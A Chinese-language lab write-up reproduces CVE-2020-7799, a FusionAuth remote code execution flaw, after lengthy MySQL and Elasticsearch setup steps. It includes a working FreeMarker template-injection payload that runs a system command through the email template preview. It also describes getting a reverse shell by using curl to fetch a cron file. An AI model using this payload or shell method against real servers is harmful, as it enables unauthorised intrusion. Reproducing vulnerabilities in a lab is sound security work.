CVE-2020-7799 FusionAuth远程代码执行漏洞复现


从零开始搭建环境,需要mysql和elasticsearch 支持

Part 1 环境搭建


环境介绍

此处搭建的环境由于一些其他原因需要全部开机自启

  • centos7
  • mysql5.7
  • fusionauth 1.10.0

mysql 安装

  • 下载MySQL源安装包
    • wget http://dev.mysql.com/get/mysql57-community-release-el7-8.noarch.rpm
  • 安装MySQL源
    • yum localinstall mysql57-community-release-el7-8.noarch.rpm
  • 检查源是否安装成功
    • yum repolist enabled | grep "mysql.*-community.*"
    • 1593333191370
  • 安装MySQL
    • yum install mysql-community-server
  • 启动MySQL
    • systemctl start mysqld
  • 设置开机自启
    • sudo systemctl enable mysqld
    • sudo systemctl daemon-reload
  • 修改/etc/my.cnf文件并重启
    • validate_password = off如果不需要密码策略,添加my.cnf文件中添加此配置禁用即可
    • systemctl restart mysqld重启服务
  • 修改密码
    • grep 'temporary password' /var/log/mysqld.log
    • 1593333644785
    • ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';修改密码,方便测试

elasticsearch安装

下载地址:

<https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.1.1-linux-x86_64.tar.gz>

  • 解压文件到/usrlocal/目录下,并在解压后的elasticsearch目录下创建数据data目录

    • tar -avxf elasticsearch-7.1.1-linux-x86_64.tar.gz -C /usr/local/
    • cd /usr/local/elasticsearch-7.1.1
    • mkdir data
    • 1593334198635
  • 修改配置文件 ./config/elasticsearch.yml

    • 1593334370092
    • 1593334399728
    • 1593334545619
    • 1593334606018
    • 修改完毕后保存退出
  • 根据自己服务器的配置修改内存,默认是1G

    • 1593334726902
  • elasticsearch不可使用root账户直接启动,创建es账户

    • adduser es
    • 设置密码passwd es
  • 修改改es所在目录的所属用户

    • chown es /usr/local/elasticsearch-7.1.1/ -R
    • 注:这里不修改,后面会出现权限问题
  • vim 编辑 /etc/security/limits.conf,在末尾加上

    • 1593335040455
  • vim 编辑 vim /etc/security/limits.d/20-nproc.conf,将* 改为用户名(es)

    • 1593335089349
  • vim 编辑 /etc/sysctl.conf,在末尾加上

    • 1593335144783
  • 执行

    • sysctl -p
    • 1593335211084
  • 此时切换到新建的用户,执行bin目录下的elasticsearch脚本即可成功,访问如图

    • 1593337464427
  • 设置开机启动

    此处使用chkconfig方式

    在 /etc/init.d 目录下,创建脚本文件 elasticsearch

    • vim /etc/init.d/elasticsearch

    将以下代码插入脚本中,其中es目录和java环境以及新建的用户名自行修改,java环境请使用jdk1.8.0_171

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    #!/bin/sh
    #chkconfig: 2345 80 05
    #description: elasticsearch

    export JAVA_HOME=/usr/local/java/jdk1.8.0_171
    export JAVA_BIN=/usr/local/java/jdk1.8.0_171/bin
    export PATH=$PATH:$JAVA_HOME/bin
    export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
    export JAVA_HOME JAVA_BIN PATH CLASSPATH

    case "$1" in
    start)
    su - es<<!
    cd /usr/local/elasticsearch-7.1.1
    ./bin/elasticsearch -d
    !
    echo "elasticsearch startup"
    ;;
    stop)
    es_pid=`ps aux|grep elasticsearch | grep -v 'grep elasticsearch' | awk '{print $2}'`
    kill -9 $es_pid
    echo "elasticsearch stopped"
    ;;
    restart)
    es_pid=`ps aux|grep elasticsearch | grep -v 'grep elasticsearch' | awk '{print $2}'`
    kill -9 $es_pid
    echo "elasticsearch stopped"
    su - es<<!
    cd /usr/local/elasticsearch-7.1.1
    ./bin/elasticsearch -d
    !
    echo "elasticsearch startup"
    ;;
    *)
    echo "start|stop|restart"
    ;;
    esac

    exit $?
  • 保存退出后,赋予执行权限

    • chmod +x elasticsearch
  • 添加到开机启动任务

    • chkconfig --add elasticsearch

fusionauth安装

1.10.0下载地址:

https://storage.googleapis.com/inversoft_products_j098230498/products/fusionauth/1.10.0/fusionauth-app-1.10.0.zip

  • 解压完成后可直接,执行./bin下的startup.sh配置安装,此处如果java没加入环境变量,会自动下载配置,版本和elasticsearch一致

  • 配置开机自启,由于是sh脚本,在/etc/rc.d/rc.local添加如下

    • 1593336356342
  • 确保rc.local具有执行权限

    • chmod +x rc.local
    • 1593336425372
  • 查看端口情况

    • 1593336587077
  • 环境配置

    • 1593337259444
  • 配置正确的话elasticsearch会自动检测

    • 1593337302144
  • 配置用户

    • 1593337364386

    • 成功登录

    • 1593337421674

Part 2 漏洞复现


在Settings->Email Templates->…

1593337629934

  • 点击Preview抓包
    • 1593337867271
    • 1593337812853
  • 替换payload
    • 将emailTemplate.defaultHtmlTemplate的value修成如下
    • ${"freemarker.template.utility.Execute"?new()("whoami")}
    • 1593338004475

Part 3 centos下反弹shell


经过测试,在传参位置,&无法使用;并且<>被编码,如下

1593338189833

linux一般存在curl,查找一下

1593338260472

可使用curl下载写好的centos计划任务文件,或者直接下载木马反弹,试了下计划任务可以

本地启个服务

1593338348692

执行下载命令

1593338518601

1593338532748

修改权限

1593338613153

移动到/var/spool/cron目录下

1593338643842

成功弹回shell

1593338716428

后记


主要还是环境的搭建,三种问题

  • 权限问题
  • elasticsearch的启动用户问题
  • 数据库及es的运行内存问题